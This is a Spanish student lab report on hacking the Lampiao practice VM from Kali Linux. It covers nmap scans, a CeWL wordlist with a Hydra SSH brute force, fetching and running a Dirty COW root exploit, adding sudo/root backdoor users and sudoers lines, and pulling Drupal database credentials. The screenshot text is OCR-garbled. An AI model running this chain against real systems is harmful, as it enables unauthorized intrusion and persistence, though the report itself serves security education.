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1 Introduccion

El presente informe expone el proceso de un ejercicio de hacking ético aplicado a la
maquina virtual Lampiao, utilizando como atacante a Kali Linux. El objetivo principal de este
laboratorio académico fue identificar vulnerabilidades, explotarlas de manera controlada y,
finalmente, comprobar la posibilidad de crear usuarios con privilegios suficientes para acceder
tanto al sistema operativo como a la aplicacion web que corre sobre la maquina victima.

Este trabajo se enmarca en la asignatura Seguridad y Auditoria en Redes, y busca no solo
practicar herramientas como Nmap, Hydra, CeWL y MySQL, sino también fortalecer
competencias en ciberseguridad defensiva y ofensiva. Es importante destacar que todas las
acciones se realizaron en un entorno controlado, con fines educativos, sin afectar sistemas en

produccion.



2 Objetivos

2.1  Objetivo General

Realizar un ejercicio de hacking ético sobre la maquina virtual Lampiao, utilizando Kali
Linux como atacante, con el fin de identificar vulnerabilidades, explotarlas de manera segura y

crear usuarios que permitan acceder al sistema y a la aplicacion web.

2.2 Objetivo Especifico

Importar, configurar y poner en funcionamiento la maquina virtual Lampiao en
VirtualBox.

Ejecutar un reconocimiento de la red y los servicios expuestos por la maquina victima
mediante herramientas de escaneo.

Identificar credenciales validas utilizando técnicas de fuerza bruta y diccionarios
personalizados.

Escalar privilegios dentro de la maquina victima para obtener acceso como superusuario.

Crear usuarios en el sistema operativo y en la base de datos de la aplicacion web para
probar accesos validos.

Documentar cada una de las fases del proceso, analizando los resultados obtenidos y los

posibles errores



3 Desarrollo

Aqui mostrare los pasos y configuraciones que realice para hackear la maquina Lampiao
y como crear dos usuarios para ingresar al sistema e ingresar a la pagina web de esta maquina

virtual.

3.1 Importar y Configurar Lampiao.

Primero, ingrese a VirtualBox e importe la maquina virtual, Para hacer esto seleccione la
opcion de archivos en VirtualBox, después seleccione la opcion de importar servicio
virtualizado.

‘Q,r; Oracle VirtualBox Administrador
Archive  Magquina  Ayuda

Cﬁb Preferencias... Control+G {:} E:jj {Er}' g:

&l Importar servicio virtualizado... Control+I MNueva Afiadir  Configuracidn  Descartar  Iniciar
@ Exportar servicio virtualizado... Control+E @ General
B= N ent 5 Mombre: FristiLeaks 1
g= Theframientas Sisterna operative:  Red Hat (64-bit)
& Comprobar actualizaciones... 74115 6... Sistema
& Reiniciar todas las advertencias Memona base: 512 MB )
Orden de arranque:  Disquete, Optica, Disco durc
@ Salir Control+C Aceleracion: Paginacidn anidada, PAE/MX

[lustracion 1 Importar y Configurar Lampiao paso 1

Luego seleccione el archivo ova de Lampiao que estaba ubicada en las descargas de mi

computadora.



E,;, Seleccione un archive de senvicio virtualizado a importar

L= A » Descargas » Lampiao w o O Buscar en Lampiao 2
Organizar = Mueva carpeta =~ [0 g
A Inicio MNombre Fecha de modificacion Tipo
~ Hace mucho tiempo
BJ Galeria P
| D Lampiac.ovf 20/04/2018 3:08 p. m. Archiva OVF

» 9. Franklin - Persoi

Mlustracion 2 Importar y Configurar Lampiao paso 2

Una vez que seleccione la ova de la maquina, oprimi el boton de importar, para terminar

este proceso.

.+ Fuente

Fuente: Sistema de archivaos local v

Archiva: Jsers\HP\Downloads\LampiachLampiac.ovf @

> Configuracidn

llustracion 3 Importar y Configurar Lampiao paso 3

Cuando VirtualBox hizo el proceso de importar la maquina, ingrese a la configuracion de

esta misma oprimiendo el botoén de configuracion.

.
M Anadi Canfi N - ' "
HEva nadir o Configuracién (Ctrl+5) rear

'i‘ [ pep— |

Hlustracion 4 Importar y Configurar Lampiao paso 4

Dentro de las configuraciones los portapapeles compartidos y arrastrar y soltar decidi

ponerlos de forma bidireccional para copiar y pagar informacion de la maquina fisica a la

maquina virtual y viceversa.



£ vm - Settings — a * =l pre

e

ki

) Basico Avanzado Descripcion Cifrado de disco
Sistema

Carpeta de instantaneas: C:\Users\HP\VirtualBox VMs\vm\Snapshots

M rantalia
Portapapeles compartido:  Bidireccional ~

SRR ac e Arrastrar y soltar:  Bidireccional ~

Mlustracion 5 Importar y Configurar Lampiao paso 5

Ademas, dentro de la ventana de red, seleccione la opcion de Red NAT la cual ya habia
sido creada en VirtualBox y esto lo hice para que la maquina estuviera en el mismo segmento de

la maquina atacante, es decir Kali Linux.

E General Red

T Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Habilitar adaptador de red
M| Pantaiia
Conectado a: Red NAT ~

Sacenaren s Nombre: RED-SEEMSTRE-09-2025 v
@Dj Audio Tipo de adaptador  PCnet-PCl || (Am79CIT0A) v

Modo promiscuo: | Permitir toedo ~
[ Red

Direccién MAC: 0B002716F729 ®

@ Puertos serie B Cable conectado

Mlustracion 6 Importar y Configurar Lampiao paso 6

Una vez termine de realizar las configuraciones, inicia la maquina oprimiendo el boton

iniciar y automaticamente mostro la ventana de inicio de sesion de Lampiao.

buntu 14.04.5 LTS lampiao ttyl

lampiao login: _

Hlustracion 7 Importar y Configurar Lampiao paso 7

3.2  Crear Usuarios Para Ingresar Al Sistema Lampiao.

Después de haber configurado la red y otros aspectos de la maquina y ademas de haberla

iniciado, como no conocia la direccion IP de ella, desde Kali Linux decidi hacer un escaneo6 al



segmento de la red al cual pertenece Kali con la herramienta nmap, para poder identificar todos
los puertos vulnerables de las maquinas que estan dentro de ese segment6. Esto lo hice con el

comando nmap -sV 192.168.10.0/24.

zsh: corrupt history file /home/franklin/.zsh_history

~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 22:03 -05

llustracion 8 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 1

Una vez terminado de realizar el escaneo, identifique la direccion IP de la posible
maquina victima, la cual tenia los siguientes puertos a explotar: el puerto 22 o servicio ssh y el

puerto 80 o servicio http.

Nmap scan report for 192.168.10.4
Host is up (@.8018s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
open ssh OpenSSH 6.6.1pl1 Ubuntu Zubuntu?.? (Ubuntu Linux; protocol 2
open http?

llustracion 9 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 2

Ademas, el escaneo arrojé un servicio o puerto irreconocible, como lo muestra la

siguiente imagen.

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-ser

Hustracion 10 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 3

Para poder identificar ese puerto que no podia reconocer el escaneo con nmap, utilice el
siguiente comando, nmap -p 1-2000 192.168.10.4 este comando realiza la identificacion de los
puertos de la direccion IP de la maquina victima desde 1 hasta 200 y al utilizar este comando

arrojo el puerto irreconocible, este puerto era el 1898 o servicio cymtec-port.



~

1-2000 192.168.10.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 22:07 -05
Nmap scan report for 192.168.10.4
Host is up (0.0011s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh

80/tcp open http
1898/tcp open cymtec-port
MAC Address: 08:00:27:16:F7:89 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds

llustracion 11 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 4

Al identificar el puerto anteriormente mencionado, decidi navegar a esta ruta dentro del
navegador de Kali Linux escribi la direccion IP de la maquina victima, los dos puntos y por
ultimo el puerto 1898, arrojando como resultado la pagina web de Lampiao.

B | % Lampido X+

« C o O & 1o

OffSec Kali Linux # Kali Tools « KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB

Hlustracion 12 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 6

Home

User login 425 =3 e = 0
Lampiao, her6i ou vilao do Sertao?

Username * Submitted by tiago on Thu, 04/19/2018 - 18:25

Password *

* Create new account

* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conheca aqui sua trajetoria.

Read more Log in or register to post comments

llustracion 13 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 7



Dentro de la pagina web trate de crear un usuario en la ventana de crear usuarios.

User account

Create new account Log in Request new password

Username *
franklin

Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.

E-mail address *
franklin2blandon@gmail.com

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will only be used if you wish to receive a new password or wish to
receive certain news or notifications by e-mail.

Create new account

llustracion 14 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 8

Pero al oprimir en el botdn create new accuont, la pagina envi6é un mensaje de alerta

diciendo basicamente que no se reconoci6 el correo y se debia contactar con el administrado.

@ = Unable to send e-mail. Contact the site administrator if the problem persists.
« Unable to send e-mail. Contact the site administrator if the problem persists.

a Thank you for applying for an account. Your account is currently pending approval by the site administrator.
In the meantime, a welcome message with further instructions has been sent to your e-mail address.

llustracion 15 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 9

Luego de no encontrar forma de ingresar por la pagina web, busque la posibilidad de
ingresar a Lampiao por medio del ssh, entonces en Kali Linux digite el comando namp -p 22
192.168.10.4 -A -sC para realizar un ataque de fuerza bruta al servicio ssh de la maquina victima
identificando esta maquina por su IP.

Este ataque me mostro informacién como el puerto, el estado el servicio y la version de

ese servicio ssh.



E 22 192.168.10.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 22:15 -05
Nmap scan report for 192.168.10.4
Host is up (0.0019s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)

| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)

| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)

|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

MAC Address: 08:00:27:16:F7:89 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.2 - 4.14

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.90 ms 192.168.10.4

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds

[~

Hlustracion 16 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 10

Con la informacion anterior, decidi mirar si probar si a través de una exploit utilizando la
consola se Metasploitable podia ingresar a través del servicio ssh de Lampiao.

Primero ingrese a la consola digitando el comando msfconsole.

zsh:

-

[sudo] contrasena para franklin:

/home/franklin

Use the apture” plugi ( art multiple

llustracion 17 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 11

Dentro de la consola busque mddulos explotables con el comando search OpenSSH que

es la version que tiene la maquina victima. Pero al realizar esa busqueda no encontré ningtin



modulo para Linux, concluyendo asi que por ese lado no tenia esperanza as de ingresar a

Lampiao.

Disclosure Date Rank Description

normal rward 55H Agent Requests To Remote Pageant
1 OpenSSH for Windows

normal

ract with a module by name or index. For example info

llustracion 18 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 12

Pero luego se me ocurrid la idea de crear un diccionario con todas las palabras que tenia

la pagina de Lampiao, este diccionario lo cree con el comando cewl http://192.168.10.4:1898

(ubicacion o acceso a la paguina) —wite Diclampiao.txt (nombre del diccionario).

h

ttp 2.168.10.4: 1! rite Diclampiao.txt
CeWL 6.2.1 (M

More Fixes) Robin Wood (robin@digi.ninja) (https digi.ninja/)

Couldn't open the output file for writing

[lustracion 19 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 13

Una vez creado el diccionario con el comando ls liste todos los archivos que tenia la
carpeta en donde estaba ubicado y observar si estaba el diccionario que cree y efectivamente

esteba el diccionario creado con el nombre Diclampiao.

Diclampiao.txt

hash_drupal.php

Hlustracion 20 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 14


http://192.168.10.4:1898/

Luego con el comando wc -1 y el nombre del diccionario observe cuantos caracteres tenia

el diccionario creado.

-1 Diclampiau.txt'
Diclampiao. txt

llustracion 21 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 15

Y con el comando cat y el nombre del diccionario basicamente abri ese archivo e
identifique varias palabras contenidas en este mismo.

— 1t Diclampiao.txt
Lampiao

que

main

field

com

section

account

wWrapper
Home
new
para
por
content
foi

llustracion 22 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 16

Cuando ya tenia el diccionario creado decidi hacer una biisqueda de posibles usuarios y
contrasefias para ingresar. Este proceso lo hice con el comando hydra -1 tiego (usuario posible) -P

Diclampiao.text (diccionario donde realizara la buisqueda) ssh://192.168.10.4 (ssh de la maquina

victima).



ik - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,

Hydra (h t c
[WARNING ce [ i t tl el r c he tasks: use -t &

llustracion 23 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 17

Al realizar la busqueda con el usuario Tiago, este arrojo que la contrasefia de ste usuario
para ingresar atreves de ssh era Virgulino.

Hydra (https tart at
[WARNING] M f ratic it the er of parallel ta is r d to reduce the tasks: use -t &
[DATA] 5 < : 5 tasks, 84 in t (1= tries per ta
[DATA]
[22]1[ssh] ho
a

did not c
ithub.com/v

llustracion 24 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 18

Luego de conocer la informacion valiosa descubierta en el proceso anterior, probe

ingresar al ssh con el usuario Tiago, digitando el comando ssh tiago@192.168.10.4, enseguida

me pidi6 la contrasefia y digite Virgulino.

tiagoml92.168.10.4
The authenticity of "192.168.10.4 (192 1@.4)" can't be established.
ED25519 key fing 256 :GGWAASY jbhMycAKiglcXcsa@®HvSwkLHZPSbOBtVrPsS.
This host key is known by the following other names/addresses:
/ cnown_hosts:1: [hashed namel]

Are you sure you want to continue connecting (yes/no/[fingerprint])? vy
se type 'y ‘no’
arnir Permanently added '192.168.1@.4" (ED: ) to the list of known hosts
tiago@l192.168.10.4 s password:
Welcome to Ubuntu 14.84.5 LTS (GNU/Linux 4._4.@ eneric i686)

Ilustracion 25 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 19

Y efectivamente tuve acceso a Lampiao por medio del ssh con el usuario Tiago y la

contrasefia Virgulino.


mailto:tiago@192.168.10.4

*# Documentation: https://help.ubuntu.com/

System information as of Tue Sep 16 @0:25:16 BRT 2825

Processe
Users 1

IP addre

New re
Run "do-re

login: Fri Apr 2@ 140 192.168.188.1
goalampiao:~% |}

Hlustracion 26 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 20

Una vez dentro de Lampiao digite el comando Is para listar los archivos en aquella ruta,
pero no tenia nada dentro, después accedi a la carpeta home con el comando cd .. y liste los
archivos de esa carpeta y solo tenia la carpeta de tiago.

iago@lampiao:
iagofilampiao:
iago@lampiao:
roglampia
gogllampiao: /home$ 1s

tiago@lampiao:/home$ [}
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Continue accediendo a rutas con el comando cd .. y listaba con el comando Is. Al listar

observe diferentes carpetas y llegue a la conclusion de que estaba en la raiz de Lampiado.

tiagoalampiao: $
tiago@lampiao:/$ 1s

tiago@lampiao:/$ i
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Desde la raiz accedi a la ruta o carptea ect con el comando cd etc y realicé un listado de

las carptas y archivos dentro de la ruta etc.



ucf.conf

updatedb. conf

crontab

rc.local

subuid-
popularity-contest.conf rmt sudoers
modules rpc
mtab profile rsyslog.conf ctl.conf zsh_command_not_found

ronment nanorc

fstab inputrc networks timezone
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Dentro de todos esos archivos y carpetas me llamo la intencion el archivo llamado
passwd, decide observar que tenia accediendo a la modificacion de este mismo con el comando
nano passwd(nombre del archvio).

iagoflampiao:/etc$ nano passwd
iago@lampiao:/etc$ |
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Dentro de ese archivo observe que estaban todos los usuarios del sistema Lampiao, alli

estaban cada uno y mostraba el nombre, la contrasefia, la ruta de ubicacion, entre otras cosas.

GNU nano 2.2.6 File: passwd

Sy
fusr/sbin/nologin
usr/sbin/nologin

usr/sbin/no i

nologin
{sbin/nologin

sbin/nologin
sbin/nologin
r/list:/usr/sbin/nologin
'sbin/nologin
ystem (admin}:/var/lib/gnats:/usr/sbin/nologin
\ istent:/usr/sbin/nologin
ar/1ib/1ibuuid:
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Pero desde el usuario Tiago no iba a poder crear los dos usuarios para ingresar al sistema
Lampiao por lo cual debia escalar privilegios y crear los usuarios desde el root.

Para escalar privilegios utilice un script, este script primero lo descargue en la maquina
atacante es decir Kali Linux, con el comando wget htttps://www.exploit-db.com/48847 (ruta del

script) -O fotos.cpp (sobrenombre del script).

zsh: corrupt history file /home/franklin/.zsh_history

unload/40847 fotos.cpp
xploit-db.com/download/40847

Conectando con .ex it-db. N (w ploit-db.com)[192.124.24 . conectado.

Peticidon HTTP el esperando respuesta... 200 OK

Longitud: no especificado [application/txt]

Grabando a: «fotos.cpp»

fotos.cpp [ & —.-KB/s en 0,003s
2025-09-15 22:31:53 (3,57 MB/s) - «fotos.cpp» guardado [10531]
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Luego probe que se habia descargado y renombrado correctamente con el comando Is y

efectivamente asi habia pasado.

Diclampiao.txt hash_drupal.php
fotos.cpp
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Ese archivo lo pegue a la ruta del usuario Tiago en Lampiao con el comando scp foto.cpp

(nombre del archivo) tiago@182.168.10.4:/home/tiago (ruta donde se va a pegar el archivo).

fotos.cpp tiago@192.168.10.4:/home/tiago/
tiago@192.168.10.4's password:
fotos.cpp 100% 10KB 1.7MB/s  00:00
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Volvi nuevamente al ssh de Lampiao con el usuria Tiago y con el comando Is comprobé si

el archivo se habia pegado correctamente lo cual fue verdadero.


mailto:tiago@182.168.10.4:/home/tiago
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Luego utilice el comando Is -la fotos.cpp (nombre del archivo), observe los permisos de

este archivo.

oallampiao:~% 1s -la fotos.cpp
r— 1 tiago tiago 10531 Sep 16 00:35
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Luego ese archivo lo compile con el comando g++ -Wall -pedantic -O2 -std=c++11
.pthread -o documentos (nuevo nombre del archivo) fotos.cpp -lutil.

tiagoflampiao:~%
tiagoflampiao:~$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.cpp -lutil

tiago@lampiao:~$ |
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Una vez compilé el archivo le di permisos de ejecucion con el comando chmod +x

documentos (nombre del archivo).

llustracion 38 Crear Usuarios Para Ingresar Al Sistema Lampiao paso 32

Después de haberle dado los permisos de ejecucion al archivo, ejecute este mismo con el
comando ./documentos -s y efectivamente a través de este archivo puede escalar privilegios y

acceder ar super usuario de Lampiao.



tiago@lampiao:~$ ./documentos -s
Running
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /fetc/passwd

root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# [}

5
5
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Una vez dentro del super usuario empecé a crear los dos usuarios. El primero usuario lo

cree con el comando adduser Kali (nombre del usuario). Alli mismo escribi la contrasefia de este

usuario.

root@lampiao:~#

root@lampiao:~# adduser kali

Adding user "kali’

Adding new group "kali® (1e@1) ...

Adding new user "kali’® (1001) with group “kali’
Creating home directory ~/home/kali’

Copying files from ~/fetc/skel’

Enter new UNIX password:

Retype new UNIX password: I
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Después de digitar la contrasena del usuario, la informacion como el full name, room

number, work pone, home pone y otres los deje por defecto.

passwd: password updated successfully

Changing the user information for kali

Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:

Work Phone

Home Phone

Other []:
Is the information correct? [Y/n] vy
root@lampiao:~# [}
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De igual forma, con el comando usermod -aG sudo Kali (nombre del usuario) agregue el
usuario Kali al grupo de sudo, ademas, con el comando usermod -aG root Kali agregue el usuario
Kali al grupo root y por ultimo, con el comando echo “Kali ALL=(ALL:ALL) ALL” >>

/etc/sudoers, agregue una linea al archivo sudoers que esta dentro de la carpa etc.

root@lampiao:~# usermod -aG sudo kali
root@lampiao:~# usermod -aG root kali
root@dlampiac:~# echo "kali ALL=(ALL:ALL) ALL"

-su: fect/sudoers: No such file or directory
: ao:~# echo "kali ALL=(ALL:ALL) ALL" >> /etc/sudoers
rootdla o:~# |
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Lo mismo hice con el segundo usuario. Primero lo cree con el comando adduser red

(nombre del usuario). También escribe la contrasefia para este usuario.

rootglamplao:~# adduser red

Adding user ‘red' ,

Adding new group “red’ (106 e

Adding new user ‘red" (1 with group "red’

¢ ing home directory ~/home/red’
) files from "Sfetc/skel’

Enter new UNIX password:

Retype new UNIX password: [
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La informacién como el full name, room number, home phone, home pone y oters lo deje
por defecto.

passwd: password updated successfully

Changing the user information for red

Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:

Work Phone [

Home Phone [

Other []:
Is the information correct? [Y/n] vy
root@lampiao:~# [}
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Agregue al grupo sudo al usuario red con el comando usermod -aG sudo red y también lo
agregue al grupo root con el comando usermod -aG root red y por ultimo agregue una linea de
codigo al archivo sudoers que este en la carpeta etc con el comando echo “red ALL=(ALL:ALL)

ALL” >> /ect/sudoers.

root@lampiao:
root@lampiao:~# usermod -aG sudo red
root@lampiao:~# usermod -aG root red

root@lampiao:~# echo "red ALL=(ALL:ALL) ALL" >> /fetc/sudoers
root@lampiaoc:~# [}
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Una vez cree los dos usuarios, me tome la terea de comprobar si ambos habian sido
creados correctamente, y para eso ingrese al sistema Lampiao como tal y con el usurio y

contrasefla confirme si estos usuarios habian sido correctamente creados.



Primero comprobé el usuario Kali, en la opcion de lampiao login, es decir el usuario,
escribi Kali y en la contrasena escribi la contrasefa que le habia asignado a ese usuario y
efectivamente pude ingresar al sisma con ese usuario, comprobando asi que habia sido creado

correctamente.

lampiao login: kali
Paz=word :
elcome to Ubuntuw 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i6B6)

= Documentation: hitps:/shelp.ubuntu.com~
System information as of Tue Sep 16 00:35:50 BRT 2025

System load: 0.0 Processes: 169

Uszage of ~: 7.54 of 19.07GE  U=er=s logged in: 1

Memory usage: 214 IP address for eth0: 192.168.10.4
Swap usage: 0

Graph this data and manage this system at:
https:-/slandscape.canonical .com/

ew release "16.04.7 LTS' available.
'do-release—upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
he exact distribution terms for each program are described in the
individual files in Ausr-sharerdoc/=/copyright.

buntu comes with ABSOLUTELY NO UARRANTY, to the extent permitted by
pplicable law.

kali@lampiao:™5 _
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Igualmente, con el usuario red comprob¢ si habia sido correctamente creado, en la opcion
que decia lampiao login o usuario escribi el usuario red y en la contrasefia escribi la contraseiia
establecida previamente para ese usuario, arrojando como resultado el ingreso a sistema Lampiao

con el usuario red lo cual demostré que habia sido correctamente creado.

lampiao login: red
Paszword :
elcome to Ubuntuw 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i686)

= Documentation: https:sshelp.ubuntu.cons
System informatiom as of Tue 3ep 16 00:51:43 BRT 2025

Jystem load: 0.0 Processes: 172

Usage of ~: 7.5% of 19.07GE Users logged in: 1

Memory usage: 22% IP address for ethd: 192.168.10.4
Suap usage: 0

Graph this data and manage this system at:
https:rsrlandscape.canonical .coms

ew release "16.04.7 LT3 available.
Bun 'do-release—upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
he exact distribution terms for each program are described in the
individual files in ~usrsshare~doc-=scopyright.

buntu comes with ABSOLUTELY HO WARRANTY, to the extent permitted by
pplicable law.

red@lampian:™$
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Y asi realice todo el proceso de crear dos usuarios para poder ingresar al sistema
Lampiao, este proceso fue satisfactorio ya que una vez cree los usuarios puede comprobar que
estos habian sido creados correctamente.

Pero asi como cree los usuarios anteriores, debia también de crear los usuarios para
ingresar a la pagina web de Lampiao, ya que esos usuarios que habia creado previamente solo

era para ingresar al sistema de Lampiao.



3.1 Crear Usuarios Para Iniciar Sesion En La Pagina Web De Lampiao.

Para crear los usuarios para ingresar a la pagina web de Lampiao, dentro del usuario root
una vez ya habia escalado los privilegios, primero ejecute un Is para ver donde estaba ubicado,
este Is arrojo un archivo llamado flag,txt, pero no es donde necesita estar ubicado, asi que con el
comando cd .. retrocedi hasta la raiz del sistema, luego ejecuté un Is y me mostro todas las
carpetas que estaban en la raiz de Lampiao.

Alli dentro, fui accediendo a las capetas donde cominmente se encuentra el archivo
fuente de todas las paginas web de los sistemas operativos Linux. Ya que para crear los dos
usuarios debia ingresar a la base de datos de la pagina y crear estos usuarios alli dentro y para
eso debia conocer cual era el archivo de configuracion para la conexion a la base de datos.

Como decia antes, accedi a la carpeta var con el comando cd var (nombre de la carpeta) y
se preguntaran porque accedi a esta carpeta, pues porque alli es donde normalmente se encuentra
el codigo fuente de los paginas web de los sistemas Linux.

Luego de acceder a la carpeta var, ejecute un Is y este me mostro diferentes carpetas,

como muestra la siguiente imagen.

rootdlampliao:~#
root@dlampiao:~# 1s
flag.txt

ampiao:~# cd
root@dlampiaon: /& 1s

root@lampiac:/# cd var
root@lampiao: /varg 1s

root@lampiao: fvarg ﬁ
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Dentro de la carpeta var, accedi a la carpeta www con el comando cd www, luego ejecute

un Is para mirar que archivo o carpetas estaban dentro de la carpeta www y solo habia la carptea



html, accedi a este con el comando cd html y posterior a eso ejecute el comando Is y este me

mostro todos los archivos y carpetas que forman de la pagina web de Lampiao.

rootolampiao: /var# cd weaw
root@lampiao: /var/wwwi 1s

root@lampiac: r/wwi cd html

roota@lampiac: /var/wei/hitml# 1s

audio.m&a INSTALL.pgsql.txt

authorize.php install.php update.php
CHANGELOG. txt INSTALL.sqlite.txt UPGRADE . txt

COPYRIGHT . txt INSTALL.txt web.config

cron.php lampiao. jpg README.txt xmlrpc.php
LICENSE.txt robots.txt

index.php

INSTALL.mysql.txt MAINTAINERS.txt

root@dlampiao:/var/ww/html# |
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Dentro de los archivos que estaban dentro de la carpeta www, accedi a la carpeta sites con
el comando cd sites, luego listé todos los archivos y carpetas de la carpeta sites con el comando
Is y alli dentro estaba la carpeta default, también listé los archivos y carpetas de la carpeta default
con el comando Is.

root@lampiac: /var/ wes/html# cd
root@lampiao: ‘html/site

e.sites.php
root@lampiac: fva
root@lampiao: r/ww/html/sites/defaults 1s
default.settin hp settings.php
root@lampiao:/var/wwm /html/sites/default# |
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Alli dentro de la carpeta identifique el archivo settings.php, decide modificarlo o mas

bien para ver su contenido con el comando nano settings.php (nombre del arcivo).

root@lampiac:/var/www,/html/s1i
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Y alli dentro de este archivo, se encontraba la conexion la configuracion para la conexion
a la base de datos.

Esa conexion contenia el nombre de la base de datos la cual era dupal, el usuario de la
base de datos el cual era drupaluser, la contrasefia de la base de datos la cual era Virgulino,

ademas esta base de datos estaba alojada en el localhost entre otros datos.
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Conociendo la informacidn anterior, accedi a esa base de datos con el comando mysql -u
drupasluser (usuario de la base de datos) -p -h locakhost (alojamiento de la base de datos) drupal
(nombre de la base de datos) y luego de oprimir enter, escribi la contrasefia de la base de datos,

es decir Virgulino y asi tuve accesos a mysq]l.

Last login: Tue Sep 16 00:26:20 2025 from 192.168.10.6
tiago@lampiao:~$ mysql -u drupaluser -p -h localhost drupal

Enter password:

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.5.50-Qubuntu@.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type ‘help;’ or '\h' for help. Type '\c’' to clear the current input statement.

mysql> i
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Dentro de mysql escribi el comando SHOW DATABLESE; para mirar las bases de datos
de mysql, arrojando como resultado la base de datos information schema y drupal.

mysgl> SHOW DATABASES;
Database

information_schema
drupal

+
I
+
I
I
+

M o ==k =

2 rows in

mysql> JJ
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Le di la instruccion a mysql que usara la base de datos drupal, con el comando USE
drupal; (nombre de la base de datos).

mysgl> USE drupal;
Database changed
mysgl> |
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Luego liste las tablas de esa base de datos con el comando show tables; arrojando todas

las tables de esta base de datos.
mysgl> show tables;
Tables_in_drupal

actions

che_bootstrap
ch 1eld

hché ph{h

comment

5
I
5
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
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En la que se destacan, role, rele permission, users y users_roles.

search_inde

search_node_links
earch_total
emaphore

L)
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Realice una seleccion de todos los usuarios que tenia la base de datos con el comando
select * from users; (tabla donde estan todos los usuarios).
Esta seleccion me arrojo 4 usuarios y entre esos estaba el usuario que habia creado

previamente dentro de la pagina, pero no habia sido validado.

| uid | name
| login
| NuLL

| filtered_html | 15242456

.com | | | filtered_html
| b:e;
landon@gmail.com | | filtered_html
1.com

| 15242440

|

|
| a:1:{s:7:"overlay";i:1;} |

|

|
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Sabiendo eso, decidi crear los dos usuarios alli en esa tabla, pero antes de eso, si se fijan

en la imagen anterior, la contrasefia de los usuarios esta cifrada por lo cual los que yo iba a crear

también debia ir cifrada la contrasena.

Para cifrar las contrasefias en la maquina atacante, es decir Kali Linux, creo un archivo

llama hash lampiao.php que me ayudaria a cifrar las contrasefias con el comando nano

hash lampiao.php.

zsh: corrupt history file /home/franklin/.zsh_hi

=
b=

S

ha5h_1ampiaﬂ.phh
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Alli dentro del archivo escribi una seria de lineas de comando que me ayudaban a cifrar

las contrasenas de los usuarios que iba a crear.

GNU nano 8.6 hash_lampiao.php
dzphp
PasswordHash {

CDEFGHIJKLMNOPQRSTUVWXYZabcdefghi jklmnopqrstu

= true) {

[ 88 lineas leidas ]
r K Ub 0
Wi Ir a linea [

M-
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Guarde el archivo y con el comando php hash lampiao.php “Kali”, cifre la primera

contrasefia del primero usuarios que seria Kali y también hice lo mismo para el segundo usuario

que seria red.



~—

Li”

— hash_lampiau.php'

$P$6TFYkbVktil/K81V1Bfv451Tz5hakgl

~—
